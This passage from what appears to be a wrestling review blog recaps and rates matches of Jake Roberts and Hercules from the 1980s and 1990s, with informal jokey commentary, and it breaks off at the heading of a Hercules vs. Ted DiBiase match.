Sika is a former Wild Samoan who apparently likes sandwiches. Ok then. Something tells me this is going to be short. Jake was one of the hottest things in wrestling at this time so this should be nothing short of a squash. Sika looks a good bit like Umaga. It’s actually Sika in control here.

That’s the beauty of the DDT. It can change things so fast and get Jake the win. That’s very rare indeed. I hate the nerve hold. I truly do. After Fuji interferes, Jake wins with a rollup actually instead of the DDT. Most interesting. Fuji takes the DDT to get the crowd very happy. Vince calls Fuji a fat walrus. That’s hilarious.

Rating: D. Not much here as it was too short to be anything of note but too long to be unrateable. Jake was clearly going to go over here and I like him not winning with the DDT as it makes you think he’s even more dangerous. Sika was a good choice for a monster who could get beaten down by someone like Roberts.

Roberts would next feud with Rick Rude after Rude tried to kiss Jake’s wife Cheryl as part of a gimmick he was doing at the time. From Wrestlefest 1988.

Jake Roberts vs. Rick Rude

This is more fallout over the Cheryl Roberts kiss that didn’t happen thing which was a big time angle back in the day and was incredibly well received. Naturally the fans pop very well for this so they got that part right for sure. Jake comes running out and beats up Rude to start us off very fast. Why do we keep getting shots of Rude’s tights going down? Is there a strange fetish thing going on there?

Something tells me this is going to be long. They had a 15 minute draw at Mania so they’ll likely do something similar this time around. We hit the chinlock and something tells me we’re going to be here for a good while. I’m glad I was wrong there. Rude kicks him in the balls and no one seems to care. We hit the chinlock again to kill more time. This is going to last awhile.

How can someone live for that long with an arm around their neck like that? I just ask because Jake has been in this for about three minutes so far and is still alive. The announcers try as hard as they can to make this interesting and just can’t do it. The hold is broken and Jake gets knocked to the floor just to continue this torture. Rude gets crotched on the top rope and Jake makes his comeback.

The camera work in this match is making my head hurt. They’re doing FAR too many closeups. Jake goes for the DDT but Rude shoves the referee down so that he lands on him, cushioning the blow. I keep forgetting how tall Jake is. The referee is back up and Rude is leaving. Jake follows and say it with me: DOUBLE COUNT OUT. I watched 17 minutes for that finish. I hate my life. The snake gets on Rude post match and wraps around his throat in a cool visual.

Rating: D. This was just BORING. They fought that long and nothing of note happened. It was just bland filler that never went anywhere at all. These two had a white hot feud and yet nothing ever came of it. Also Rude pulling the referee down isn’t a DQ? This was just bad and really brings the show down.

Jake would have the second biggest match at Wrestlemania V as part of his long feud with Wrestlemania V.

Andre the Giant vs. Jake Roberts

Big John Studd is referee and comes out to what would become Jim Duggan’s music. This was supposed to set up Andre vs. Studd but Studd left before it went anywhere. Sometime before the match, Andre and Heenan get the turnbuckle pad off and Jake goes face first into the steel. Ventura and Gorilla talk about David vs. Goliath (Jesse: “He used a foreign object.”) as Jake reaches for the snake bag. That goes nowhere so Studd crushes him in the corner.

Andre looks so different than he did two years ago. In Detroit he looked like a killing machine but here he looks like a lumbering oaf. Giant steps on Jake a few times but Roberts comes back with some strikes. He knocks Andre into the ropes and chokes away, only to see Andre get his arm loose and choke Jake right back.

In a moment that I’ve never seen explained, Andre fires some shoulders into Jake in the corner, only to stagger backwards. I’m guessing Jake was supposed to knee him (the announcers suggested he did) but Jake’s legs never moved. Either way, Roberts pounds away a bit before being knocked to the floor. Studd and Andre get in a shoving match as Ted DiBiase runs out to steal the snake. Andre chokes Studd until Jake chases DiBiase down and gets the snake back. He slides Damien in and the giant runs from the smaller referee giant, giving Jake the DQ win.

Rating: D. ANOTHER match that didn’t go anywhere here as it was hard to buy Jake as being a threat to Andre while at the same time it was hard to be intimidated by the Giant due to how old and banged up he was. Nothing match here which was supposed to set up Andre vs. Studd, but instead Studd retired so Andre got a tag title reign instead.

Let’s combine a few feuds with this match from June 2, 1989.

Jim Duggan/Jake Roberts vs. Rick Rude/Andre the Giant

It’s in 89 so this isn’t going to be pretty from Andre’s perspective. This is from a Wrestling Challenge taping which would be equal to Superstars today. Andre chokes on Duggan to start which was the majority of his offense at this point. Rude looks odd in blue. A middle rope punch misses and here’s Jake. Andre is tied in the ropes and Rude is used as a battering ram/spear.

The heels take over once Andre is freed. I have a feeling this isn’t going to be an incredibly innovative match. Rude works on a chinlock which Jake seemingly was always in. Rude goes up and is crotched, providing us with by far the funniest moment on this tape. He and Honky had the funniest sells of that spot as anyone ever. Andre comes in and does the crush in the corner spot.

Jake escapes one of them and it’s the hot tag to Duggan, who is in black boots for some reason. Could this be a heel foreshadowing? Nah, only an idiot would do that. I mean what could you do anyway, make him a Canadian sympathizer or something? What a stupid idea. Anyway Duggan gets taken down by Rude and Andre won’t tag back in for some reason. Rude, who enjoys having his head attached, doesn’t argue.

There’s the hip swivel which Hayes doesn’t approve of. Duggan fights back and they collide, putting both guys down. Rude goes to the wrong corner and Jake knocks him back down. Andre chops Duggan down to make sure everything is fair. There’s the hot tag to Jake anyway as Duggan more or less no sells Andre’s chop. Roberts sets for the DDT but Andre breaks it up. Everything breaks down and Duggan whacks Rude in the ribs with the board so Jake can get the pin.

Rating: C-. Not terrible but pretty meh overall. I still like the idea of having two feuds in a single match like this and it usually works pretty well. Not a great match or anything but for a house show, this was fine. A DDT would have pulled things up a little bit because it was the most popular move on the planet at the time.

We’ll jump ahead a bit and skip a feud with Ted DiBiase to get to a match at Summerslam 1990 over which was over a snake vs. rats.

Jake Roberts vs. Bad News Brown

Big Bossman is guest referee for no apparent reason. Brown jumps Jake before Bossman is in the ring but has to bail out of a DDT attempt. Back in and Bad News tosses Jake down and gets two off a legdrop. Jake tries the DDT a second time but Brown bails to the floor again. Roberts follows him out and gets hit in the ribs with a chair which isn’t a DQ for some reason. Back in and Bad News pounds away as Piper asks if Vince has ever smelled Brown. Jake avoids a middle rope elbow and hits the short clothesline but Brown backdrops out of the DDT. Another chair shot to Jake is good for the lame DQ.

Rating: D+. This didn’t have time to go anywhere and I’m still not sure why Boss Man was in here at all. Jake and Brown didn’t do anything else after this and Brown didn’t go after Boss Man after the feud, so I guess he was there as an enforcer for reasons not important enough to explain. The match was just ok.

Jake would then get blinded by Rick Martel, leading to a blindfold match at Wrestlemania VII.

Jake Roberts vs. Rick Martel

In short, they’re both in hoods and neither guy can see. So the match starts and both guys point across the ring while trying to find where the other is. Martel gets down on the mat and crawls around, only to give us some stupid comedy spots with both guys tripping over the other. Rick tries a backdrop but Jake runs off to the side, showing that he can clearly see if you’re thinking about this.

They miss each other in the corner a few times until Martel finally grabs him for a slam, only to miss an elbow drop. Martel gets the referee in the corner, only to realize he’s grabbing a shirt. Jake uses the crowd for help by pointing and listening to the crowd cheer as he points at Martel. This continues on for awhile until Martel nearly grabs the snake bag.

The announcers continue a running joke where they can’t hear each other which isn’t funny. Jake gets knocked to the floor so Martel follows. He grabs a chair and pokes around with it but only hits the post. Back in and Martel takes Jake down and hooks the Boston Crab, only to have it broken quickly. Roberts grabs the DDT a second later for the pin.

Rating: F. This wasn’t wrestling. It was a stupid idea with both guys wandering around and making no contact for about seven and a half minutes before both guys hit their finishers. Thankfully this feud was done after this as I don’t think the fans could stand any more of it. Oh and on top of that, Martel didn’t cheat once by looking under the mask. Nice heel work there.

Then Roberts would turn all evil and going after Randy Savage. This led to Savage coming out of retirement and a showdown between the two of them at This Tuesday In Texas. I’ll throw in the awesome post match stuff as well.

Jake Roberts vs. Randy Savage

Savage jumps Jake in the aisle and we’re off. The crowd isn’t cheering so much as roaring. I mean they’re hardcore here. The thing is it’s kind of hard to take Savage seriously here as he’s got a feather on his hat that’s at the very least a foot and a half tall. That’s just freaking huge. Ok good it’s gone now. As for why this feud is happening, Savage had gotten married but Jake wasn’t invited to the bachelor party because he was a heel. Well if nothing else that’s creative.

That led to Savage coming out of retirement to fight him, but one day on I think Superstars, Jake beat down Savage and put his (devenomized) cobra onto Savage’s arm, but it held on too long and the bite was worse than expected. Jake also shoved Liz, which made him the biggest heel in forever. They were supposed to be opposing captains in the Survivor Series main event but due to the cobra attack, Savage was deemed too hurt to fight so we got this instead.

Jake goes kind of low to break the momentum. Savage’s arm is screwed up because of the snake bite injury too. In a nice little touch, Jake rips the bandage off of the arm and there’s blood under the tape. His arm was fine, but they thought about it here enough to make it look like he’s injured worse than he really is. Since the arm is so hurt Roberts is beating the heck out of Savage. Just as I say that, Savage gets a quick shot in and within 30 seconds he gets Jake down and hits the elbow for the win in a match that felt like it had 3 minutes cut out.

Rating: C+. The match is a fast paced mess but the angle is just completely awesome. The problem was there was never the big match that these guys so desperately needed where Savage could destroy Jake with like 5 elbows or something because Flair came in and changed everything around.

Now we get to the important part though. Savage gets the bell but the referee stops him, allowing Jake to get a quick DDT. Savage is down but Jake is still hurt too so Savage actually beats him to his feet. A second DDT puts Savage out cold though and Jake is up now. After faking leaving, Jake comes back and goes under the ring to pull out a little bag. This doesn’t sound like much but it’s an absolutely INSANE reaction for every tiny movement.

Liz comes running down and is FREAKING on Roberts. Jake is feeding on her fears here and it’s amazing stuff. Savage kind of gets up and he takes an unprecedented third DDT. No one had ever taken more than one before this so that was completely insane. He puts the cobra handler glove on and Liz just completely loses it. Jake slips the glove off and says that Liz better beg if she wants to save him.

They stand up and Jake secures his place in the 7th circle of BY PUNCHING LIZ. Jack Tunney comes out to glare at Jake and suspend him for having a snake with him until he points out there was no snake in the bag, which confuses Tunney to no end, which is impressive for him as asking his name confuses him more than likely.

In the back, Jake says that when he hit Liz, it was the best feeling he’s ever had and he would pay to be able to do that again. He ends it by saying that Savage can come back again, but to bring his wife again because Jake can make her into something even he would want. I know it doesn’t sound like much, but this was one of the best heel promos I’ve ever seen in my life.

This led to a match with the now face Undertaker at Wrestlemania VIII.

Jake Roberts vs. Undertaker

A right hand to the face has no effect on Taker so Jake pounds away so more. Heenan is already freaking out about how Taker can’t be hurt as is his custom. Jake knocks him to the floor but Undertaker lands on his feet. Roberts is pulled to the floor as well and rammed into the post to give the dead man control. Heenan cracks jokes and says he thinks he has two brilliant minds. Gorilla: “I’m in big trouble.”

As Heenan talks about Bearer earning the Urn, Taker chokes away in the corner and pounds on Jake for a bit. An elbow drop keeps Jake down and there’s the jumping clothesline for good measure. Out of NOWHERE, Jake hits the DDT to put Taker down but he sits up a few seconds later and grabs Jake by the throat. A second DDT puts Taker down again but Jake goes after Bearer instead. There’s the sit up and Undertaker follows Jake outside, hitting a tombstone on the FLOOR to end Jake and make Undertaker 2-0.

Rating: C-. The problem with these early Wrestlemania matches for Undertaker is that they didn’t have a ton of story or drama to them. Jake was in his last match for the company here before he went to WCW for a cup of coffee, so he didn’t seem to be giving it his all out there. The kicking out of the DDTs was impressive as was the Tombstone, but that’s about it.

Jake would head to WCW soon after this and have one major match at Halloween Havoc 1992.

Sting vs. Jake Roberts

Coal Miner’s Glove match, which means there’s a loaded glove on a pole. Jake uses some VERY generic rock music which would later be used by Big Bubba and had previously been used by Austin. This is non-sanctioned and Sting is just MAD over. The story here is Roberts jumped him and laid Sting out so this is revenge. Sting controls early as Roberts stalls. Sting misses a dropkick and Jake goes after the back.

They go to the floor and Jake’s arm goes into the post. Sting goes for the glove (which is about 12 feet above the ring) but Jake makes the save and hits a suplex. Jake sends him to the floor but his attempt at getting the glove results in him being crotched. Sting works on the injured arm for a bit and they head outside again. Jake hits him in the back with a chair and chokes with tape back in the ring.

This match really isn’t working either as they’re basically having a regular match, albeit very rushed. That doesn’t make me think this is a blood feud or all about revenge or anything close to it really. Jake misses a running knee lift but the Stinger Splash misses too. Jake uses the bad arm for the DDT but Sting comes as close to no selling as you can while still selling. Sting does a cool move where he swings around the pole to knock Jack down. Cactus runs out with Jake’s cobra as Sting gets the glove. Sting knocks the snake onto Jake’s face where it “bites” him, allowing Sting to get the win.

Rating: F. As I said, the glove meant nothing here as it had to be the dumbest possible gimmick they could have gone with. Jake would basically be gone after this and wouldn’t be seen in mainstream American wrestling again until 1996. This was absolutely awful though and the ending was so stupid that I can’t really believe I saw it. Keep this in mind when you’re at work: someone was paid to think of this idea. To give you an idea of how REAL that bite is, Jake pulls the snake away, looks at it, and puts it right back to where it was “biting” him. That’s like something out of a parody of a bad horror movie. Jake is “poisoned”.

Jake would head to Smoky Mountain Wrestling soon after this and win the Heavyweight Title. Here’s a match from May 21, 1994.

SMW Heavyweight Title: Jake Roberts vs. Dirty White Boy

This is the main event from Volunteer Slam. Joined in progress again as Roberts goes after the eye. Jake toys with him now as he lays on the mat and kind of stares at White Boy. They go to the floor and White Boy rams the arm into the post a few times. We’re told this is 15 minutes in. They go back in but Roberts tosses him out again. That doesn’t work as White Boy grabs the arm.

Roberts pulls the referee into a shot and Mark Curtis is down. Jake takes the tape off his wrist and ties him to the ropes. Jake’s bag is brought in and I think a fan runs in so Jake clotheslines him. Dirty White Girl tries to make the save but Jake shoves her down and eventually DDTs her. The match has been stopped pretty much. He goes to put the snake on her but the locker room makes the save. Not enough to rate but the match looked like a typical match from a territory with no ending. Think Memphis.

Jake would head back to the WWF in 1996 and make it to the finals of the 1996 King of the Ring.

King of the Ring Finals: Steve Austin vs. Jake Roberts

The IWC explodes as Pillman and Austin pass each other in the aisle and pause for a second. Good night they were a great team in the time they had. Austin apparently went to the emergency room to fix his tongue. I think that’s legit actually. Jake’s music is just made of awesome. Austin jumps him to the shock of no one. This is all Austin as Roberts is barely even able to move let alone fight.

Here’s his token comeback as it’s fairly obvious that Austin is winning here. Vince says Austin is being a coward for attacking the injured ribs. Owen says Austin is smart to do so, which at least makes sense. Monsoon is out here now and Vince is more or less saying Austin doesn’t deserve to win. It’s not his fault that Vader beat up Roberts.

With Monsoon checking on Roberts it lets him breathe a bit and he beats on Austin for a bit but Austin counters with corner shoulder blocks of all things. Geez Austin was a different kind of wrestler back then. Austin hits the academic stunner to get the win and the crown.

Rating: N/A. It was 4 and a half minutes which includes Monsoon coming down.

His main feud in this run was against Jerry Lawler, including this match at Summerslam 1996.

Jerry Lawler vs. Jake Roberts

Before the match we have the debut of a new Olympian who will be getting in the ring soon: Mark Henry. Lawler brings his own bag with him along with something in his pocket. He’s also wearing a Baltimore Ravens jersey (the beloved Cleveland Browns had recently moved to Baltimore and become the Ravens) because Lawler knows how to rile up a crowd like few others ever could. Henry thinks it’s hilarious despite being a face.

Lawler pulls out two bottles of Jim Beam to be Roberts’ partners tonight and says Roberts’ wife only looks good after a six pack. Henry is so stupid that if he won a gold medal he’d have it bronzed. Once Roberts uses his bar stool as a walker to get out here, Lawler is going to knock him sideways so everyone can recognize him. It’s very impressive how easily Lawler can have a crowd eating out of the palm of his hand like this.

Roberts finally comes out so Lawler pulls a huge bottle of booze from the bag. Jake pulls the snake out of his own bag to scare Lawler to the floor and the bell finally rings. Lawler looks for a microphone but Jake sends him face first into the steps and hammers away back inside. Back to the floor with Lawler being sent into various hard objects until he steals a drink from a fan to blind Jake. Henry: “So what is the fan going to drink?” Lawler gets one of the bottles from ringside but has to block a DDT attempt. Another DDT is countered and Jerry hits him in the throat with the bottle for the pin.

Rating: D. This was much more of an angle than a match with Lawler giving a great lesson in how to fire up a crowd. Roberts wouldn’t be around much longer before heading to ECW and the indies. This would lead to Henry’s first mini feud against Lawler which started got his career going in slow motion.

We’ll wrap it up with a match from 2002 at the World Wrestling Legends reunion show.

Kamala vs. Jake Roberts

Oh dear. This needs to be very careful. I’m having flashbacks to Heroes of Wrestling. Jake’s eyes are squinting, he’s hunched over, he’s in an undershirt, he’s almost bald and his shirt is all stained. Thank goodness he’s fine. Kamala has a Kim Chee knockoff named Friday here. Jake crosses his heart to the referee that he won’t do anything wrong. Probably more like he solemnly swears he is up to no good.

Jim: Friday wishes it was Thursday. Somehow that makes sense. Nothing of note at all as they’ve barely made contact. Jim makes various jokes to crack up the other two guys. The fans are all behind Jake here of course. Those racists. They finally make contact with Jake landing some punches. We hear about Kamala’s musical career which kind of kills the whole mystique of him but that kind of happened when he became a trained wrestler I think.

Kamala takes over with his awesome offense of chops and choking. We get a Missing Link and Jack Brisco comparison which for those of you that don’t know, is like comparing Shawn Michaels to Santino. Long nerve hold here that gets us as far as any other nerve hold would get us. This one is special though as Kamala is grabbing Jake under the arm. Did I mention these matches aren’t very good at all?

He hits the splash which goes nowhere of course. Did he ever beat a non jobber with that EVER? Friday steals the snake bag and Kamala tries to splash it, which would have worked had his stomach and not his thighs been the part that would have hit it. DDT to Friday and there’s the snake. Thankfully the reptile and not the anatomical one this time. Apparently Jake wins by DQ.

Rating: D. Yeah this was of course bad but the fans were way into it so there’s that going for it. Jake was at least coherent here and while fat and out of shape we got a DDT at least which the fans popped hard for. Jake is old but he still has his old characteristics working for him here. Decent match all things considered. Kamala is exactly the same.

Jake Roberts has long been recognized as a master of psychology. This covers a lot of different things. First of all, it was stuff like the slithering into the ring and the mind games he would play when talking. Having a snake around all the time is just freaky and messes with people’s minds. He was clearly a thinking wrestler rather than just someone who came in and had his match. That’s far more interesting than a lot of guys and it made him a lot more fun to watch. Oh and the DDT is pretty awesome.

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Wrestler of the Day – May 18: Hercules

Time for a strong guy! It’s Hercules.

Hernandez got his start back in the very late 70s and often played a masked character. One of those was Assassin #2, who appeared at the first Starrcade in 1983.

The Assassins vs. Rufus R. Jones/Bugsy McGraw

This is one of those matches with no given story behind it. Jones is the reigning Mid-Atlantic Heavyweight Champion at this point, McGraw is a fat guy and the Assassins are guys in black sweaters and pants with yellow masks. They’re called Assassin #1 and #2 so it’s not going to be easy to remember which is which. Bugsy starts with we’ll say #1 and the match is shockingly fast paced to begin. Bugsy drops him with a shoulder block but both guys miss elbow drops. A slam sends #1 to the floor and the fans are VERY into McGraw.

Back in and they lock up with McGraw hitting a quick elbow to the head before pounding away on #1 over and over to knock him into the corner. Here’s Assassin #2 who is much smaller than his partner. Another slam puts #2 down and it’s off to Rufus for an even louder ovation. He gyrates a lot and pounds away as the cameraman seems to slip, sending the shot all over the place. Rufus works on #2’s arm with some headbutts before it’s back to Bugsy.

The Assassins make a tag but #1 winds up running away from McGraw instead of fighting him. #1 grabs the wrist and cranks on it a bit but Bugsy looks much more annoyed than anything else. Bugsy elbows his way out of trouble and brings Rufus back in for more headbutts to the shoulder. Jones pounds on #1 in the corner and knocks him down with a hard Irish whip. Assassin rakes him in the eye to finally take over but the advantage lasts for all of ten seconds before Jones fires off some headbutts to the ribs.

Back to Bugsy for some wild punches to take over. Everything breaks down until it’s just McGraw backdropping I think #1. In a pretty bad ending, #2 causally walks into the ring and rolls up McGraw for the fluke win. The referee seemed to be perfectly fine with the lack of tagging there.

Rating: D. The match sucked but the crowd reactions for McGraw/Jones were great. I have no idea what the point was in having the Assassins win here was as they were in control for roughly ten seconds out of just over eight minutes. Nothing to see here at all and the ending sucked the life out of the crowd.

That didn’t last much longer as Hercules (then called Hercules Hernandez) went to Mid-South and became a pretty big heel. Here’s a big tag match from August 19, 1984.

Dusty Rhodes/Jim Duggan vs. Hercules Hernandez/Butch Reed

Street fight. The good guys clean house to start and the crowd is so loud you can’t even understand the announcer. We finally settle down to Dusty hammering on Reed to start but Hercules gets a few elbows as well. Rhodes stands tall (and fat) as the heels bail to the floor. The referee settles things down and it’s Reed hiding from Dusty in the corner. Butch finally comes out but gets elbowed right back down to the floor as we’re still in the “let’s not really do much yet” period.

Reed comes in again and gets punched and elbowed a lot. Duggan finally comes in to stare down Hercules and nail him with a big clothesline. A bunch of right hands in the corner have Hercules in even more trouble and Duggan slams him down for good measure. Back to Dusty who stomps on Hercules’ head before Duggan slams it into the mat.

Duggan found a belt from somewhere and everything breaks down with the heroes in full control. More rights and lefts have Hercules in trouble as Jim Cornette gets on the apron for a cheap shot to slow Duggan down. Everything breaks down and Reed nails Duggan in the head with a chair before Hercules rams him into the post.

Now it’s Dusty getting double teamed in the ring but he fights back and cleans house as Duggan is back in to help. A double clothesline puts the heels down but Dusty is whipped into Duggan. Cornette blinds Duggan with powder as Dusty drops the big elbow on Hercules. Reed sneaks in and kicks Dusty in the back of the head though, allowing him to steal the pin.

Rating: C+. This was more of Dusty’s style: a high energy match that kept the fans into things and didn’t involve him having to actually wrestle. I’m not a fan of the guy but he’s more than capable of driving the fans into a frenzy at the drop of a hat. Mid-South always had some insane crowds so they were way into this. Fun match which is often better than it being good.

After a few more years in the territories, Hercules would head to the WWF where he probably had his most fame. One of his first high profile matches was at Wrestlemania II. His spot was originally going to go to Bret Hart, but the WWF saw more potential in Hercules. No one ever said they were all that bright in 1986.

Ricky Steamboat vs. Hercules Hernandez

Lee Marshall of non-fame in WCW is the announcer. This was supposed to be Steamboat vs. Hart but WWF saw more star power in Hernandez. This wasn’t their best time from a thinking standpoint. Hercules pounds on him to start but Steamboat goes to the arm as is his custom. A kick to the ribs puts Hernandez down and it’s off to an armbar. Back up and Steamboat does some leapfrogs before elbowing Herc down.

We head to the armbar again until Hernandez rams him into the buckle and hits a clothesline to take Steamboat down. A hot shot has Steamboat in trouble again but he comes back with a failed slam attempt that gives Hercules two. A pair of elbows get two more due to a very lazy cover. Hercules hits a tilt-a-whirl slam for two and there’s a gorilla press slam to go with it. Make it a pair of gorilla presses but Hernandez’s splash hits knees, allowing Ricky to hit the top rope cross body for the pin.

Rating: C-. Very basic match here with power vs. speed, although most of the speed guy’s offense involved an armbar. That’s something you have to get used to in Steamboat matches though so it’s not a disappointment or anything. The match itself was pretty dull stuff but Steamboat in the 80s is never a bad thing.

Hernandez would get Bobby Heenan as a manager around this time and since he was a strong man, Hernandez would get a WWF Title shot at Saturday Night’s Main Event #8.

WWF Title: Hercules vs. Hulk Hogan

Before the match we have promos from both. Heenan says that his credit is good anywhere which means very little. Hercules says he’s already the champion just without the belt yet. We cut to a shot of Hogan’s chest doing the pec dance with hard nipples.

He says he’s checked Hercules out and Hercules might be a Greek god. To continue his completely insane promos, Hogan says he’s been hanging out in the Garden of Eden with his main squeeze Eve to prepare to face a Greek god before going 20,000 leagues under the sea to see the Titanic. Apparently the power lies in the palm of his hand. If there has ever been proof that cocaine was rampant in the 80s, this is it.

Back in the arena, Jesse is only confused about the power in his hand part, which might be the most normal part of what he said. He thinks Hogan has lost it and will lose the title here. This is a standard title defense, but Hogan apparently said this is his ultimate title defense. Remember this is before Mania 3 and Hogan is in the middle of his multi-year long feud with Heenan and his goons.

We hit the test of strength and it’s the same as happened at Mania 6. Even Jesse is having a hard time trying to sell Hercules as a major threat to Hogan. He’s still called Hernandez here which was phased out almost completely soon after this. Hogan has yellow tights and boots and blue kneepads. That just looks odd. In a cool looking spot, Heenan is being chased by Hogan and dives over the top rope in a great looking jump.

I mean he cleared that thing and landed on his feet in one movement. For your unintentional comedy of the match, Jesse says that Hogan looks good on his knees. After some very brief work on the back which was more or less back breaker and bear hug, Hercules goes to the backbreaker submission, more commonly known as a torture rack.

Jesse of course can see and hear Hogan quit but in this case Hercules lets him go early. That’s just flat out stupid from a kayfabe sense. Hogan hits the power kickout and you can connect the dots from there. Vince says this is a celebration of Hulkamania. Well that’s better than saying Wrestlemania was a celebration of life.

Rating: D+. This was what it was. It’s about 8 minutes long and is Hogan with a very generic title defense. This was to do nothing more than get Hogan on television and have him look good, so if nothing else it accomplished that goal. Hercules was as cookie cutter of a wrestler as you could ask for, so this went well enough. It’s nothing special but it did its job. The length was good too as it got the story told in a brief method.

Here’s a little historical curiosity from November 30, 1986.

Hercules vs. Jack Foley

I think you can figure this one out for yourself. Hercules easily takes him down as Luscious Johnny V. and Monsoon keep admiring Hercules’ physique. A wicked clothesline puts Foley down and the Rack gets the submission. Total squash.

He was in a big battle royal at SNME X, just before Wrestlemania III.

Battle Royal

André the Giant, Ron Bass, Demolition (Ax and Smash), Billy Jack Haynes, Hercules, Hillbilly Jim, Hulk Hogan, The Honky Tonk Man, The Islanders (Haku and Tama), The Killer Bees (B. Brian Blair and Jim Brunzell), Blackjack Mulligan, Paul Orndorff, Lanny Poffo, Butch Reed, Sika, Nikolai Volkoff, and Koko B. Ware.

So in other words, it’s everyone but Savage and Steamboat plus a few tag teams. Smash is the original Smash and not Barry Darsow and Honky is wearing suspenders. Andre won’t let Hogan get in. Orndorff jumps Hogan to prevent the showdown. More or less all of the heels jump Hogan and all of the faces jump Andre. Honky is out thanks to Hogan. Andre puts Sika out.

These are hard to commentate on as it’s just eliminations and fights. Haku, a face at this point, is out. Andre headbutts Lanny Poffo and he’s BUSTED OPEN, and I mean BAD. Totally hard way too. That is a sick cut. They have to get a stretcher to get him out. That’s impressive. Other than that it’s pretty much you punch me and I’ll punch you in the ring. Ron Bass is out as is Mulligan.

The ultimate Hogan jobber, Volkoff, is gone. We’re just killing time to get to Hogan vs. Andre as Blair is out. HERE WE GO! Hogan blocks a punch…and Koko jumps on Andre to be annoying. Hogan throws out Orndoff but gets jumped by Andre who does the headbutts to the back of the head and throws him out easily. WOW.

In a VERY funny moment, Hogan and Andre are doing a staredown and Koko tries to jump Andre. Giant just smacks him in the head without even turning around. That was hilarious. Everyone gets together to throw Andre out.

Ok we’re down to Koko, Reed, Smash, Billy Jack Haynes and Hercules. Koko puts Reed out and we get faces vs. heels. Koko is out thank goodness and then we get rid of Smash too to get us down to the full nelson guys. Haynes goes for Bobby and there he goes for Hercules to win, which is probably the biggest win of his career somehow.

Rating: D. This was about Hogan vs. Andre and while that did happen, it was all of ten seconds long. Before and after that though, no one cared. This just wasn’t that interesting at all and it was about ten seconds out of eleven minutes. That can’t be a good sign, though it was buildup for one of the biggest shows ever so what do I know?

Here’s Hercules’ match from that Wrestlemania.

Hercules vs. Billy Jack Haynes

This is power vs. power so expect some pretty weak chemistry. Hebner tries to get in between them in the corner which is more than a referee should do. Haynes hits a press slam but Hercules bails to the corner to avoid the full nelson. Hercules comes back with a big old clothesline and both guys are down already. A backdrop puts Haynes down and Herc pounds on the back a bit. This is very slow paced compared to the opener.

A suplex gets two for Hercules as he picks Haynes up. Billy can’t suplex Hercules because of the back so the Greek guy hits a backbreaker to keep the momentum up. Hercules hooks the full nelson but can’t get the fingers locked, allowing Billy to escape. Jack fights out of it and they clothesline each other down. Haynes grabs a quick atomic drop to fire the crowd up but his back messes up again. A clothesline sets up a legdrop on Hercules and a middle rope fist to the head keeps Hercules in trouble. Jack gets the full nelson but Hercules pulls them both to the floor. Herc gets put in the hold again but a double countout ends this.

Rating: D+. The fact that the crowd is hot for everything tonight is all that made this passable, which can be a great tool to bring a match up a lot. At the end of the day, they’re WAY too similar and neither guy is exactly someone that can carry a match. It’s not terrible but it didn’t go anywhere at all. This would be the only feud of note that Haynes had and he would be jobbing soon.

Hercules would get an Intercontinental Title shot at Saturday Night’s Main Event #11.

Intercontinental Title: Hercules vs. Ricky Steamboat

We see a clip of Savage in the back watching the match and cutting this insane promo about wanting the title back. Gene standing there is funny in some weird way. Savage cheers for Steamboat so that he can take the title from Steamboat. Hercules dominates early on but there is about as much chance of a title change as there is of TM getting admin. I need a minute to recover from that thought.

Hercules gets the Full Nelson and here comes Savage to break it up so that he can take the title from Steamboat. This planted some very small seeds of a face turn for him later on down the line. After Mania he was far too over to continue being a heel that much longer. Hercules goes for a top rope splash and eats knees. Heenan hands Hercules the chain and of course gets disqualified in a freaking stupid looking moment. Savage pretends to help him up and then drops the elbow on him just to be a jerk.

Rating: D+. Not much here at all and really just a continuation of the Savage/Steamboat feud which was aborted soon after this so that Honky got the belt. I think Steamboat said he wanted to take some time off for his son being born and Vince flipped over it, causing Honky’s year plus title reign. Anyway, this was just a little TV match that set up an angle.

The Heenan Family would go to war with Paul Orndorff around this time. Here’s Hercules trying his luck against Orndorff on October 6, 1987.

Paul Orndorff vs. Hercules

This is Orndorff vs. Heenan Family, which went on forever and involved Orndorff hiring and firing Heenan twice. Orndorff is part of the House of Humperdink. Orndorff is a power guy but he’s using speed here because he’s also smart. Hercules gets in a shot to break up Paul’s momentum after he skins the cat. Paul did the skinning if that was unclear. A clothesline gets three twos.

We’re in Milwaukee if you care. The fans cheer for Paul but he can’t make much of a comeback. Off to the bearhug which is a power man staple of the late 80s. Actually the 80s in general. Bearhug is countered into a small package for Orndorff, getting two. Orndorff makes his comeback and hits the Piledriver (finisher) but Rude runs in for the DQ. This was Rude’s first feud as he had only been in the company about three months at this point.

Rating: D+. Not a bad match but it didn’t have the time to get going. Orndorff was WAY over at this time though and Heenan and his boys were hated so the crowd was very into things here. Orndorff would be retired for the first time very soon after this due to a very bad arm/neck injury he suffered when feuding with Hogan the year before. When you’re making somewhere between $10,000-20,000 a week though, you don’t bother taking time off for arm surgery.

Next up was a feud with the Ultimate Warrior, including this match at Wrestlemania IV.

Hercules vs. Ultimate Warrior

They collide to start as the announcers recap the tournament. Hercules hits three straight clotheslines to put Warrior down to Jesse’s amazement. Warrior fires off some chops but gets backdropped out to the floor. They brawl on the floor for a bit as Heenan is reaching in his pockets. Both guys head back inside and pound on each other a little bit more with Warrior hitting the ten punches in the corner. Hercules comes out of the corner with an atomic drop and sends Warrior into the corner chest first. He puts on the full nelson but Warior climbs the corner and falls back ala Bret and Austin at Survivor Series 96 for the fast pin.

Rating: D+. Warrior was rapidly becoming a force but it wouldn’t be another six months before he finally hit something special. Hercules would be around for a few more years but would never do anything of note. This was just a filler match to bridge the gap between the first and second rounds of the tournament.

Since he’s been losing a lot, we’ll take a look at an actual win for him. From Prime Time Wrestling on August 22, 1988.

DJ Peterson vs. Hercules

Peterson has a good look to him and would wind up being a moderately big deal as The Trooper in the dying days of the AWA. Anyway, he’s easily shoved into the corner to start before Hercules puts on a headlock. Peterson grabs a few rollups for two each before Hercules bails to the floor. Back in and Hercules misses a charge in the corner and gets caught in a headlock. They slug it out with Peterson getting the better of it and elbowing Hercules into the ropes. Hercules easily comes back with a hard clothesline and the full nelson for the win.

Rating: C. This was actually better than I expected it to be. Peterson would actually win a few house show matches so they clearly saw something in him. He could have been a decent power guy with the right character and push, but unfortunately he died in 1993 in a motorcycle crash.

Hercules’ contract would be sold to Ted DiBiase soon after this. Ted would refer to Hercules as his slave and that just wasn’t cool. This led to a match at The Main Event II on February 3, 1989.

Hercules vs. Ted DiBiase

